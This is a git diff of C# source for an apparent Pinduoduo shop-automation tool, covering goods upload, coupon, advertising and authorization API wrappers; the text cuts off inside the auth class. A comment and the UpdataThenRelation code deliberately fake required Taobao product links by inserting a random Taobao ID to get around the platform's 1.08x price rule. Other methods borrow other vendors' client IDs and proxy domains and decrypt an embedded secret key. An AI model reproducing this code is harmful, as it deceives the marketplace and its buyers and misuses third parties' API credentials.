+ else + Product[shopName] = pros; + } + catch + { + } + } + + public string GetProductInfor(long pid) + { + Type = "pdd.goods.detail.get"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + return GetData(); + } + /// + /// 添加商品 + /// + /// + public string Add() + { + return "\"error_msg\":\"请清空备用数据,使用新版转化数据\""; + Type = "pdd.goods.add"; + string html = GetData(); + return html; + } + public string Updata() + { + return "\"error_msg\":\"请清空备用数据,使用新版转化数据\""; + Type = "pdd.goods.information.update"; + return GetData(); + } + + /// + /// 添加商品 + /// + /// + public string AddNew() + { + Type = "pdd.goods.add"; + string html = GetData(); + return html; + } + + /// + /// 添加商品到草稿箱 + /// + /// + public string AddDraft() + { + Type = "pdd.goods.edit.goods.commit"; + string html = GetData(); + return html; + } + + + public string UpdataNew() + { + Type = "pdd.goods.information.update"; + return GetData(); + } + + /// + /// 更新商品,然后设置关联映射(更新成功必须设置映射关系)。 + /// 拼多多要求所有的商品必须与淘宝商品ID关联,且拼多多每个SKU价格小于等于淘宝价格*1.08。 + /// 如果有以下情况:1.上家为拼多多商品、2.加价大于8%、3.单独有增加邮费,则去淘宝查找同款,获取单价大于当前加价后价格93%的 + /// 淘宝ID,然后把价格和淘宝ID通过接口影射修改商品接口。其他情况,使用拼多多查询之前的映射关系,再次映射。如果无法通过以上 + /// 办法获取映射,则想尽所有办法做一个正确的,甚至虚假的映射。 + /// + /// 关联参数类 + /// + public string UpdataThenRelation(PinduoduoRelation pddRelation) + { + Dictionary dataTemp = new Dictionary(); + foreach (var keyValue in this.Data) + { + dataTemp.Add(keyValue.Key, keyValue.Value); + } + string upResult = string.Empty; + + #region 先判断是否有基本数据足以关联,不足直接退出 + if (pddRelation == null) + pddRelation = new PinduoduoRelation(); + if (pddRelation.goods_id == null) + { + if (dataTemp.ContainsKey("goods_id")) + { + try + { + pddRelation.goods_id = Convert.ToInt64(dataTemp["goods_id"]); + } + catch + { + LogSave.Add(Name, "拼多多id获取失败,跳过"); + return "拼多多id获取失败"; + } + } + else + { + LogSave.Add(Name, "拼多多id获取失败,跳过"); + return "拼多多id获取失败"; + } + } + if (pddRelation.out_low_goods_price == null || pddRelation.out_high_goods_price == null) + { + pddRelation.out_low_goods_price = int.MaxValue; + pddRelation.out_high_goods_price = 0; + if (dataTemp.ContainsKey("sku_list")) + { + var skuJson = dataTemp["sku_list"]; + var mPriceMatches = BaseRegex.GetMatchRegex(skuJson, "\"multi_price\":\"([\\s\\S]*?)\""); + if (mPriceMatches.Count > 0) + { + foreach (Match mPriceMatch in mPriceMatches) + { + try + { + string strPrice = BaseRegex.GetMatchRegexString(mPriceMatch.ToString(), "\"multi_price\":\"([\\s\\S]*?)\""); + long price = Convert.ToInt64(strPrice); + if (price < pddRelation.out_low_goods_price) + pddRelation.out_low_goods_price = price; + if (price > pddRelation.out_high_goods_price) + pddRelation.out_high_goods_price = price; + } + catch { } + } + pddRelation.out_low_goods_price = (long)(pddRelation.out_low_goods_price * 0.93); + pddRelation.out_high_goods_price = (long)(pddRelation.out_high_goods_price * 0.93); + } + } + if (pddRelation.out_low_goods_price == int.MaxValue) + return "关联价格获取失败"; + } + #endregion + + #region 获取其他关联数据 + + #region 通过服务器缓存获取关联数据 + //// 内部获取上家id + //string idx = ""; + //var re = new JumpUpProductNew(Shop).GetServerId(pddRelation.goods_id.Value, out idx); + #endregion + + #region 通过接口获取关联数据 + if (pddRelation.out_goods_id == null || pddRelation.source_type == null) + { + string html = GetRelation(pddRelation.goods_id.ToString()); + // 有获取到对应的上家id + if (html.Contains("out_goods_id") && html.Contains("out_goods_platform")) + { + if (pddRelation.out_goods_id == null) + pddRelation.out_goods_id = BaseRegex.GetLongJson(ref html, "out_goods_id").ToString(); + if (pddRelation.source_type == null) + pddRelation.source_type = BaseRegex.GetIntJson(ref html, "out_goods_platform"); + } + else + { + // 未获取到上家id的情况,随机淘宝id,临时使用 + pddRelation.out_goods_id = "5" + Randomx.GetNumber(11); + pddRelation.source_type = 0; + } + } + #endregion + + if (pddRelation.postage == null) + pddRelation.postage = 0; + #endregion + + #region 更新商品 + this.Data = dataTemp; + upResult = this.UpdataNew(); + // 调用失败直接返回结果,不设置关联 + if (string.IsNullOrEmpty(upResult) || !upResult.Contains("\"is_success\":true")) + return upResult; + #endregion + + #region 设置关联 + try + { + string html = this.Relation(pddRelation.goods_id.Value, long.Parse(pddRelation.out_goods_id), + (int)pddRelation.out_low_goods_price.Value, (int)pddRelation.out_high_goods_price, + (int)pddRelation.postage.Value, pddRelation.source_type.Value); + if (string.IsNullOrEmpty(html) || !html.Contains("\"is_success\":true")) + LogSave.Add(Name, "关联设置失败,商品id是" + pddRelation.goods_id); + } + catch + { + } + #endregion + + return upResult; + } + + public KeyValuePair AddThenRelation(long pid, long fromId, int minPrice, int maxPrice, int postAge, int fromSite) + { + string adResult = this.Add(); + string reResult = this.Relation(pid, fromId, minPrice, maxPrice, postAge, fromSite); + return new KeyValuePair(adResult, reResult); + } + + public string ExpressSend(string order_sn, int logistics_id, string tracking_number) + { + Sync(order_sn, logistics_id, tracking_number); + Type = "pdd.logistics.online.send"; + Data = new Dictionary(); + Data.Add("order_sn", order_sn); + Data.Add("logistics_id", logistics_id.ToString()); + Data.Add("tracking_number", tracking_number); + return GetData(); + } + public string Sync(string order_sn, int logistics_id, string tracking_number) + { + Type = "pdd.erp.order.sync"; + Data = new Dictionary(); + Data.Add("order_sn", order_sn); + Data.Add("order_state", "1"); + Data.Add("logistics_id", logistics_id.ToString()); + Data.Add("waybill_no", tracking_number); + return GetData(); + } + + public string UploadImage(byte[] bytes) + { + Type = "pdd.goods.image.upload"; + Data = new Dictionary(); + Data.Add("image", "data:image/jpeg;base64, " + Convert.ToBase64String(bytes)); + return GetData()?.Replace("\\/", "/"); + } + /// + /// 获取分类 + /// + /// + /// + public string GetCat(int parentId) + { + Type = "pdd.goods.cats.get"; + Data = new Dictionary(); + Data.Add("parent_cat_id", parentId.ToString()); + return GetData(); + } + + public string GetSpecId(string parentSpecId, string specName) + { + Type = "pdd.goods.spec.id.get"; + Data = new Dictionary(); + Data.Add("parent_spec_id", parentSpecId); + Data.Add("spec_name", specName); + return GetData(); + } + + public string GetProductInfoByCatAndPrice(int catId, decimal price) + { + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + var timeStamp = (long)(DateTime.Now - startTime).TotalMilliseconds; + Dictionary dict = new Dictionary(); + dict.Add("client_id", "5f253ea926d740da96e7fc4df94b21f4"); + dict.Add("data_type", "JSON"); + dict.Add("timestamp", timeStamp); + dict.Add("cat_id", catId.ToString()); + dict.Add("page_size", "10"); + List rangeList = new List(); + dict.Add("range_list", rangeList); + rangeList.Add(new + { + range_id = 0, + range_from = 0, + range_to = price * 100 + }); + //价格从低到高 + dict.Add("sort_type", 3); + dict.Add("type", "pdd.ddk.goods.search"); + + var paramsDic = SignHelper.BuildSign(dict, SignHelper.DESDecrypt("1C076D6C0CDA77C7EDA6993F80FBA91730935E5E82F8A2F3E9F405CA02F7A55EEBF81E15D931A12B321102C80B3AD36E")); + var jsonBody = JsonConvert.SerializeObject(paramsDic); + string result = GetHtml.PostUtf8("http://gw-api.pinduoduo.com/api/router", jsonBody, "application/json"); + return result; + } + + public string DelGoods(string goodIds) + { + Type = "pdd.delete.goods.commit"; + Data = new Dictionary(); + Data.Add("goods_ids", goodIds.ToString()); + return GetData(); + } + public string TemplateGetID(string catId) + { + Type = "pdd.goods.cat.template.get"; + Data = new Dictionary(); + Data.Add("cat_id", catId.ToString()); + return GetData(); + } + //查询商品推广API + public string JinBaoExtension(string goods_id) + { + Type = "pdd.goods.cps.unit.query"; + Data = new Dictionary(); + Data.Add("goods_id", goods_id.ToString()); + return GetData(); + } + //修改商品推广API + public string UpdateExtension(string goods_id, long rate) + { + Type = "pdd.goods.cps.unit.change"; + Data = new Dictionary(); + Data.Add("goods_id", goods_id.ToString()); + Data.Add("rate", rate.ToString()); + Data.Add("coupon_id", ""); + Data.Add("coupon_start_time", ""); + Data.Add("coupon_end_time", ""); + Data.Add("discount", ""); + Data.Add("init_quantity", ""); + Data.Add("remain_quantity", ""); + return GetData(); + } + + /// + /// 设置全店推广API + /// + /// 千分比 + /// + public string CreateJinBaoExtension(long rate) + { + Type = "pdd.goods.cps.mall.unit.create"; + Data = new Dictionary(); + Data.Add("rate", rate.ToString()); + //string[] l = "01,02,03,04,05,07,09,10,11,12,13,14,15,16,17,19,20".Split(','); + //Data.Add("erp_code", "ERP0"+l[Randomx.GetId(l.Length)]); + return GetData(); + } + + /// + /// 修改进宝全店佣金 + /// + /// + /// + public string ChangeJinBaoExtension(long rate) + { + Type = "pdd.goods.cps.mall.unit.change"; + Data = new Dictionary(); + Data.Add("rate", rate.ToString()); + return GetData(); + } + + /// + /// 设置单品推广API + /// + /// 多个字段 + /// + public string CreateGoodExtension(string units) + { + Type = "pdd.goods.cps.unit.create"; + Data = new Dictionary(); + Data.Add("units", units.ToString()); + return GetData(); + } + /// + /// 创建优惠券批次ID + /// + /// + public string CreateProCoupon() + { + Type = "pdd.promotion.goods.coupon.create"; + return GetData(); + } + + /// + /// 创建优惠券 + /// + /// 名称 + /// 时间戳 毫秒 + /// + /// 优惠金额 分 + /// 总数 + /// 单用户领取 + /// 商品ID + /// + public string CreateGoodsCoupon(string batch_desc, long batch_start_time, long batch_end_time, int discount, int init_quantity, int user_limit, long goods_id) + { + Type = "pdd.promotion.goods.coupon.create"; + Data = new Dictionary(); + Data.Add("batch_desc", batch_desc.ToString()); + Data.Add("batch_start_time", batch_start_time.ToString()); + Data.Add("batch_end_time", batch_end_time.ToString()); + Data.Add("discount", discount.ToString()); + Data.Add("init_quantity", init_quantity.ToString()); + Data.Add("user_limit", user_limit.ToString()); + Data.Add("goods_id", goods_id.ToString()); + return GetData(); + } + //创建优惠券 + public string CreateAddQuantity() + { + Type = "pdd.promotion.coupon.quantity.add"; + return GetData(); + } + + //新建推广计划 + public string CreatePlan(string planName) + { + Type = "pdd.ad.plan.create"; + Data = new Dictionary(); + Data.Add("scene_type", "0"); + Data.Add("plan_name", planName); + return GetData(); + } + //新建推广单元 + public string CreateUnit(long planId, long goodsId, string keywords, string creativeList) + { + Type = "pdd.ad.unit.create"; + Data = new Dictionary(); + Data.Add("scene_type", "0"); + Data.Add("plan_id", planId.ToString()); + Data.Add("goods_id", goodsId.ToString()); + Data.Add("keywords", keywords.ToString()); + Data.Add("creative_list", creativeList.ToString()); + return GetData(); + } + + //根据ID,获取系统关键词 + public string RcomKey(long goodsId) + { + Type = "pdd.ad.keyword.rcommended.get"; + Data = new Dictionary(); + Data.Add("scene_type", "0"); + Data.Add("goods_id", goodsId.ToString()); + return GetData(); + } + + //推广单元,添加关键词 + public string CreateKeyword(long unitId, string keywords) + { + Type = "pdd.ad.keyword.create"; + Data = new Dictionary(); + Data.Add("scene_type", "0"); + Data.Add("unit_id", unitId.ToString()); + Data.Add("keywords", keywords); + return GetData(); + } + //多多进宝推广位 + public string CreateGenPid(int num) + { + Type = "pdd.ddk.goods.pid.generate"; + Data = new Dictionary(); + Data.Add("number", num.ToString()); + return GetData(); + } + //多多进宝推广链接 + public string CreateGenPro(string p_id, long[] goods_id_list) + { + Type = "pdd.ddk.goods.promotion.url.generate"; + Data = new Dictionary(); + Data.Add("p_id", p_id.ToString()); + Data.Add("goods_id_list", goods_id_list.ToString()); + return GetData(); + } + /// + /// 获取店铺信息 + /// + /// + public string GetShopInfo() + { + Type = "pdd.mall.info.get"; + return GetData(); + } + public void GetServiceApi() + { + string datax = UserLogin.GetSignaturex() + ""; + string urlx = BaseClass.BuildObjString("config&act=get_service_url"); + string htmlx = GetHtml.PostUtf8(urlx, datax); + var serArr = BaseRegex.GetMatchRegex(ref htmlx, "(\"[\\s\\S]+?\":\"[\\s\\S]+?\")"); + if (serArr.Count > 0) + { + for (int i = 0; i < serArr.Count; i++) + { + var item = serArr[i].ToString(); + string cliId = BaseRegex.GetMatchRegexString(ref item, "\"([\\s\\S]+?)\":"); + string cliIdUrl = BaseRegex.GetMatchRegexString(ref item, ":\"([\\s\\S]+?)\""); + if (!ServiceApiDic.ContainsKey(cliId)) + ServiceApiDic.Add(cliId, cliIdUrl); + } + } + } + public string GetData() + { + Shop.ClientId = String.IsNullOrEmpty(Shop.ClientId) ? BaseClass.ClientId : Shop.ClientId; + if (string.IsNullOrEmpty(Shop.ClientId)) + Shop.ClientId = "7feaefdf527d45129219ca398c922bb0"; + if (ServiceApiDic.Count == 0) + { + GetServiceApi(); + } + string html = ""; + var diclst = ServiceApiDic.ToList(); + for (int i = 0; i < diclst.Count; i++) + { + var key = diclst[i].Key; + var val = diclst[i].Value; + if (key == Shop.ClientId) + { + html = GetDataSelf(val); + break; + } + } + return html; + } + + public string GetDataPinduoduo() + { + int invalidCount = 0; + string client_id = String.IsNullOrEmpty(Shop.ClientId) ? BaseClass.ClientId : Shop.ClientId; + if (!BaseClass.UserApi) + return ""; + try + { + bool error = false; + Agein: + if (Shop.ClientId == "7feaefdf527d45129219ca398c922bb0" && isSelf) + { + return GetDataSelf("http://px.jindouduo.com"); + } + if (Shop.ClientId == "f4a3e3bb0253448d8272537726299621" && isSelf) + { + return GetDataSelf("http://nbzlw.e57.cn"); + } + if (Shop.ClientId == "b1981defcd704a7d88c8a734358fb065" && isSelf)//途途上货助手 + { + return GetDataSelf("http://tt.deifei.cn"); + } + if (Shop.ClientId == "81fd2bbabbd54ec5bf312e05401a0343" && isSelf)//微木ERP + { + return GetDataSelf("http://dd.pinsubao.com"); + } + if (Shop.ClientId == "911bd1c0c0a0403da88334e24ca288a2" && isSelf)//蛮牛工具 + { + return GetDataSelf("http://wdt.qimake.cn"); + } + if (Shop.ClientId == "5d755c0cf97a4cbdb8aa958beea25011" && isSelf)//微木订单 + { + return GetDataSelf("http://wnm.pinsubao.com "); + } + if (Shop.ClientId == "3069c1c325e44e85bcf5b6295694bdae" && isSelf)//点金工具箱 + { + return GetDataSelf("http://dianjin.6nt.cn"); + } + if (Shop.ClientId == "9558f920cf77403bb475243fe44482ad" && isSelf)//拼商宝 + { + return GetDataSelf("http://psbx.9u99.com/index.php?s="); + } + if (Shop.ClientId == "88d6ef134c3b4a07b7a22d8bbef9b1b4" && isSelf)//凯达工具 + { + return GetDataSelf("http://kd.qimake.cn"); + } + if (Shop.ClientId == "f23bda7f6d9c4b6c8751268891779660" && isSelf)//飓风管家 + { + return GetDataSelf("http://jfgj.qixiaoker.com"); + } + if (Shop.ClientId == "9f7d0ce6460b46e7a3833ac2e8325519" && isSelf)//飓风发货 + { + return GetDataSelf("http://jffh.qixiaoker.com"); + } + if (Shop.ClientId == "716a6bcc69d7441d856905eb79b892fd" && isSelf)//运筹erp + { + return GetDataSelf("http://yc.kanwailian.com"); + } + string token = Shop == null ? BaseClass.AccessToken : Shop.AccessToken; + string reflesh = Shop.RefreshToken; + string sid = Shop == null ? BaseClass.ShopId : Shop.ShopId; + if (Data == null) + Data = new Dictionary(); + if (Data.ContainsKey("type")) + Data["type"] = Type; + else + Data.Add("type", Type); + if ((Type.Contains(".cps.") || Type.Contains(".coupon.")) && !string.IsNullOrEmpty(Shop.CpsShop.AccessToken)) // 进宝和优惠券 + { + client_id = "911bd1c0c0a0403da88334e24ca288a2";//蛮牛ERP + token = Shop.CpsShop.AccessToken; + } + if (!Data.ContainsKey("type")) + Data.Add("data_type", "JSON"); + if (Data.ContainsKey("timestamp")) + Data["timestamp"] = BaseClass.GetTime(DateTime.Now).ToString(); + else + Data.Add("timestamp", BaseClass.GetTime(DateTime.Now).ToString()); + if (Data.ContainsKey("client_id")) + Data["client_id"] = client_id; + else + Data.Add("client_id", client_id); + if (Type == "pdd.goods.add" || Type == "pdd.goods.information.update") + { + // 付费接口必须微店转化过(商品同步非拼多多上家1.08倍以内暂时放行) + if ((client_id == "88d6ef134c3b4a07b7a22d8bbef9b1b4" || client_id == "716a6bcc69d7441d856905eb79b892fd") && !FromWeiDian && !IsProdSyncNotPdd1_08) + { + return "\"error_msg\":\"数据有误,请清空备用数据,使用新版转化数据\""; + } + } + + if (!string.IsNullOrEmpty(token)) + { + if (Data.ContainsKey("access_token")) + Data["access_token"] = token; + else + Data.Add("access_token", token); + } + if (Data.ContainsKey("sign")) + Data.Remove("sign"); + string sign = ""; + StringBuilder code = new StringBuilder(); + Dictionary nd = Data.OrderBy(d => d.Key).ToDictionary(p => p.Key, o => o.Value); + foreach (KeyValuePair key in nd) + { + code.Append(key.Key + key.Value); + } + + + string url = BaseClass.BuildObjString("sign&act=get&type=" + Type + "&client_id=" + client_id); + string date = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + "&hadid=1&signcode=" + + GetHtml.UrlEncodeUtf8(code.ToString()); + sign = GetHtml.PostUtf8(url, date); + Data.Add("sign", sign); + string json = JsonHelper.SerializeObject(Data); + + string html = GetPostTaobaoHtml.GetJsonPost(PinduoduoAuth.Gate, PinduoduoAuth.Gate, true, json); + html = GetHtml.Decode(html); + if (html.Contains("用户没有授权访问此接口")) + { + } + if (html.Contains("goods_commit_id")) + { + if (!successClient.ContainsKey(Shop.ShopName)) + { + List clientIds = new List(); + clientIds.Add(client_id); + successClient.Add(Shop.ShopName, clientIds); + } + else + { + if (!successClient[Shop.ShopName].Contains(client_id)) + successClient[Shop.ShopName].Add(client_id); + } + } + bool isRefresh = false; + if (html.Contains("access_token") && html.Contains("error_response") && !html.Contains("属性") && successClient.ContainsKey(Shop.ShopName)) + { + Thread.Sleep(5 * 1000); + var a = new PinduoduoAuth(); + var clientids = successClient[Shop.ShopName]; + for (int i = 0; i < clientids.Count; i++) + { + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=get_token&shop_name=" + Shop.ShopName + "&" + UserLogin.GetSignaturex(); + string htmlx = GetHtml.Utf8(urlx); + if (!string.IsNullOrEmpty(htmlx) && htmlx.Contains("access_token")) + { + string AccessToken = BaseRegex.GetStringJson(ref htmlx, "access_token"); + string RefreshToken = BaseRegex.GetStringJson(ref htmlx, "refresh_token"); + if (a.ReFresh(RefreshToken, clientids[i])) + { + isRefresh = true; + Shop.RefreshToken = RefreshToken; + Shop.AccessToken = AccessToken; + break; + } + } + } + } + if (!string.IsNullOrEmpty(html) && isRefresh && html.Contains("access_token已过期")) + { + error = true; + Data.Remove("type"); + Data.Remove("data_type"); + Data.Remove("client_id"); + Data.Remove("timestamp"); + if (Data.ContainsKey("access_token")) + Data.Remove("access_token"); + Data.Remove("sign"); + goto Agein; + } + if (html.Contains("签名失败")) + { + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd"))) + { + Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] = Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] + 1; + if (Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + html = "\"error_msg\":今日调用次数用完,明天再继续"; + } + else + Shop.SignErrorTimes.Add(DateTime.Now.ToString("yyyy-MM-dd"), 1); + return html; + } + + if (html.Contains("签名验证失败")) + { + if (invalidCount > 3) + return html; + invalidCount++; + var a = new PinduoduoAuth(); + a.NoCache = true; + a.MustAuth = true; + a.IsCps = Type.Contains(".cps.") || Type.Contains(".coupon.");//进宝和优惠券 + bool ok = a.Auth(Shop, ref client_id); + + error = true; + Data.Remove("type"); + Data.Remove("data_type"); + Data.Remove("client_id"); + Data.Remove("timestamp"); + if (Data.ContainsKey("access_token")) + Data.Remove("access_token"); + Data.Remove("sign"); + if (!a.IsCps && Type != "pdd.goods.outer.cat.mapping.get") + Thread.Sleep(3000); + goto Agein; + } + if (!string.IsNullOrEmpty(html) && (html.Contains("access_token") || html.Contains("请选择配送地区") || html.Contains("暂未签署多多进宝") || html.Contains("授权已被取消") || html.Contains("clientId不正确") || html.Contains("access_token")))//&& !error + { + if (invalidCount > 3) + return html; + invalidCount++; + var a = new PinduoduoAuth(); + a.NoCache = true; + a.MustAuth = true; + a.IsCps = Type.Contains(".cps.") || Type.Contains(".coupon.");//进宝和优惠券 + bool ok = a.Auth(Shop, ref client_id); + if (!ok && invalidCount > 3) + return "\"error_msg\":授权失败,请先购买API再上传"; + error = true; + Data.Remove("type"); + Data.Remove("data_type"); + Data.Remove("client_id"); + Data.Remove("timestamp"); + if (Data.ContainsKey("access_token")) + Data.Remove("access_token"); + Data.Remove("sign"); + if (!a.IsCps && Type != "pdd.goods.outer.cat.mapping.get") + Thread.Sleep(3000); + goto Agein; + } + return html; + } + catch + { + return ""; + } + } + + + public string GetDataSelf(string domainname) + { + int invalidCount = 0; + string client_id = String.IsNullOrEmpty(Shop.ClientId) ? BaseClass.ClientId : Shop.ClientId; + if (!BaseClass.UserApi) + return ""; + try + { + bool error = false; + Agein: + string token = Shop == null ? BaseClass.AccessToken : Shop.AccessToken; + string reflesh = Shop.RefreshToken; + string sid = Shop == null ? BaseClass.ShopId : Shop.ShopId; + if (Data == null) + Data = new Dictionary(); + if (Data.ContainsKey("type")) + Data["type"] = Type; + else + Data.Add("type", Type); + if ((Type.Contains(".cps.") || Type.Contains(".coupon.")) && !string.IsNullOrEmpty(Shop.CpsShop.AccessToken)) // 进宝和优惠券 + { + client_id = "911bd1c0c0a0403da88334e24ca288a2";//蛮牛ERP + token = Shop.CpsShop.AccessToken; + } + if (!Data.ContainsKey("type")) + Data.Add("data_type", "JSON"); + int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent; + if (Data.ContainsKey("timestamp")) + Data["timestamp"] = time.ToString();//BaseClass.GetTime(DateTime.Now).ToString(); + else + Data.Add("timestamp", time.ToString()); + if (Data.ContainsKey("client_id")) + Data["client_id"] = client_id; + else + Data.Add("client_id", client_id); + if (Type == "pdd.goods.add" || Type == "pdd.goods.information.update") + { + // 付费接口必须微店转化过(商品同步非拼多多上家1.08倍以内暂时放行) + if ((client_id == "88d6ef134c3b4a07b7a22d8bbef9b1b4" || client_id == "716a6bcc69d7441d856905eb79b892fd") && !FromWeiDian && !IsProdSyncNotPdd1_08) + { + return "\"error_msg\":\"数据有误,请清空备用数据,使用新版转化数据\""; + } + } + + if (!string.IsNullOrEmpty(token)) + { + if (Data.ContainsKey("access_token")) + Data["access_token"] = token; + else + Data.Add("access_token", token); + } + if (Data.ContainsKey("sign")) + Data.Remove("sign"); + string sign = ""; + StringBuilder code = new StringBuilder(); + Dictionary nd = Data.OrderBy(d => d.Key).ToDictionary(p => p.Key, o => o.Value); + foreach (KeyValuePair key in nd) + { + code.Append(key.Key + key.Value); + } + //string url = BaseClass.BuildObjString("sign&act=get&type=" + Type + "&client_id=" + client_id); + //string date = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + "&hadid=1&signcode=" + + // GetHtml.UrlEncodeUtf8(code.ToString()); + //sign = GetHtml.PostUtf8(url, date); + Data.Add("sign", ""); + string time1 = UserLogin.Encryption(time); + if (Data.ContainsKey("encCode")) + Data.Remove("encCode"); + Data.Add("encCode", time1); + if (BaseClass.NewSignatureAuth) + { + if (Data.ContainsKey("NbCodeVersion")) + Data.Remove("NbCodeVersion"); + Data.Add("NbCodeVersion", "1"); + } + //if (Data.ContainsKey("mall_id")) + // Data.Remove("mall_id"); + //Data.Add("mall_id", Shop.MallId.ToString()); + var _params = JsonHelper.SerializeObject(Data); + if (_params.Contains("+")) + _params = GetHtml.UrlEncodeUtf8(_params); + string json = "¶ms=" + _params; + domainname = GetDomain(client_id);// + string html = GetHtml.PostUtf8(domainname + "index/api/pddTransfer", json);//http://px.jindouduo.com + html = GetHtml.Decode(html); + if (html.Contains("goods_commit_id")) + { + if (!successClient.ContainsKey(Shop.ShopName)) + { + List clientIds = new List(); + clientIds.Add(client_id); + successClient.Add(Shop.ShopName, clientIds); + } + else + { + if (!successClient[Shop.ShopName].Contains(client_id)) + successClient[Shop.ShopName].Add(client_id); + } + } + bool isRefresh = false; + if (html.Contains("access_token") && html.Contains("error_response") && !html.Contains("属性") && successClient.ContainsKey(Shop.ShopName)) + { + Thread.Sleep(5 * 1000); + var a = new PinduoduoAuth(); + var clientids = successClient[Shop.ShopName]; + for (int i = 0; i < clientids.Count; i++) + { + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=get_token&shop_name=" + Shop.ShopName + "&" + UserLogin.GetSignaturex(); + string htmlx = GetHtml.Utf8(urlx); + if (!string.IsNullOrEmpty(htmlx) && htmlx.Contains("access_token")) + { + string AccessToken = BaseRegex.GetStringJson(ref htmlx, "access_token"); + string RefreshToken = BaseRegex.GetStringJson(ref htmlx, "refresh_token"); + if (a.ReFresh(RefreshToken, clientids[i])) + { + isRefresh = true; + Shop.RefreshToken = RefreshToken; + Shop.AccessToken = AccessToken; + break; + } + } + } + } + if (!string.IsNullOrEmpty(html) && isRefresh && html.Contains("access_token已过期")) + { + error = true; + Data.Remove("type"); + Data.Remove("data_type"); + Data.Remove("client_id"); + Data.Remove("timestamp"); + if (Data.ContainsKey("access_token")) + Data.Remove("access_token"); + Data.Remove("sign"); + goto Agein; + } + if (html.Contains("签名失败")) + { + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd"))) + { + Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] = Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] + 1; + if (Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + html = "\"error_msg\":今日调用次数用完,明天再继续"; + } + else + Shop.SignErrorTimes.Add(DateTime.Now.ToString("yyyy-MM-dd"), 1); + return html; + } + + if (html.Contains("签名验证失败") || html.Contains("您的应用还未发布到服务市场")) + { + if (invalidCount > 3) + return html; + invalidCount++; + var a = new PinduoduoAuth(); + a.NoCache = true; + a.MustAuth = true; + a.IsCps = Type.Contains(".cps.") || Type.Contains(".coupon.");//进宝和优惠券 + bool ok = a.Auth(Shop, ref client_id); + + error = true; + Data.Remove("type"); + Data.Remove("data_type"); + Data.Remove("client_id"); + Data.Remove("timestamp"); + if (Data.ContainsKey("access_token")) + Data.Remove("access_token"); + Data.Remove("sign"); + if (!a.IsCps && Type != "pdd.goods.outer.cat.mapping.get") + Thread.Sleep(3000); + goto Agein; + } + if (!string.IsNullOrEmpty(html) && (html.Contains("access_token") || html.Contains("请选择配送地区") || html.Contains("暂未签署多多进宝") || html.Contains("授权已被取消") || html.Contains("clientId不正确") || html.Contains("access_token")))//&& !error + { + if (invalidCount > 3 || BaseClass.UserVersion == 110) // 重试三次或者特殊用户版本为110,返回 + return html; + invalidCount++; + var a = new PinduoduoAuth(); + a.NoCache = true; + a.MustAuth = true; + a.IsCps = Type.Contains(".cps.") || Type.Contains(".coupon.");//进宝和优惠券 + bool ok = a.Auth(Shop, ref client_id); + if (!ok && invalidCount > 3) + return "\"error_msg\":授权失败,请先购买API再上传"; + error = true; + Data.Remove("type"); + Data.Remove("data_type"); + Data.Remove("client_id"); + Data.Remove("timestamp"); + if (Data.ContainsKey("access_token")) + Data.Remove("access_token"); + Data.Remove("sign"); + if (!a.IsCps && Type != "pdd.goods.outer.cat.mapping.get") + Thread.Sleep(3000); + goto Agein; + } + return html; + } + catch + { + return ""; + } + } + + + public string GetDomain(string clientid) + { + string result = ""; + var diclst = ServiceApiDic.ToList(); + for (int i = 0; i < diclst.Count; i++) + { + var key = diclst[i].Key; + var val = diclst[i].Value; + if (key == clientid) + { + result = val; + break; + } + } + return result; + } + } + public class ProuctBase + { + public long Id; + public decimal PriceMin; + public decimal PriceMax; + } +} diff --git a/Work/Api/PinduoduoApiPropId.cs b/Work/Api/PinduoduoApiPropId.cs new file mode 100644 index 0000000..8412edf --- /dev/null +++ b/Work/Api/PinduoduoApiPropId.cs @@ -0,0 +1,48 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Api +{ + public class PinduoduoApiPropId + { + public ShopChatBase Shop; + public PinduoduoApiPropId(ShopChatBase shop) + { + Shop = shop; + } + /// + /// 初始化大类 + /// + /// + /// + public string Get(int mainCatId) + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + api.Type = "pdd.goods.spec.get"; + var cid = FromTitleToCat.MainCat.Find(c => c!=null && c.Key == mainCatId.ToString()); + if (cid == null) + return ""; + string id = cid.Value1.Substring(1); + id = id.Substring(0, id.IndexOf(",")); + api.Data.Add("cat_id", id); + return api.GetData(); + } + /// + /// 获取 + /// + /// + /// + /// + public string GetPropId(string parentId, string name) + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + api.Type = "pdd.goods.spec.id.get"; + api.Data.Add("parent_spec_id", parentId); + api.Data.Add("spec_name", name); + return api.GetData(); + } + } +} diff --git a/Work/Api/PinduoduoAuth.cs b/Work/Api/PinduoduoAuth.cs new file mode 100644 index 0000000..38129e7 --- /dev/null +++ b/Work/Api/PinduoduoAuth.cs @@ -0,0 +1,717 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using AllBase; +using Work.ManageClass; +using System.Net; + +namespace Work.Api +{ + public class PinduoduoAuth + { + public bool NoCache = false; + public bool MustAuth = false,MustAuthCps = false; + public bool IsCps = false, SignDuoProtocol = false; + public static List Shops = new List(); + /// + /// 拼多多api网关 + /// + public static string Gate = "https://gw-api.pinduoduo.com/api/router"; + public static string strContent = ""; + + + public static string ExecuteScript(string sExpression, string sCode) + { + MSScriptControl.ScriptControl scriptControl = new MSScriptControl.ScriptControl(); + scriptControl.UseSafeSubset = true; + scriptControl.Language = "JScript"; + scriptControl.AddCode(sCode); + try + { + string str = 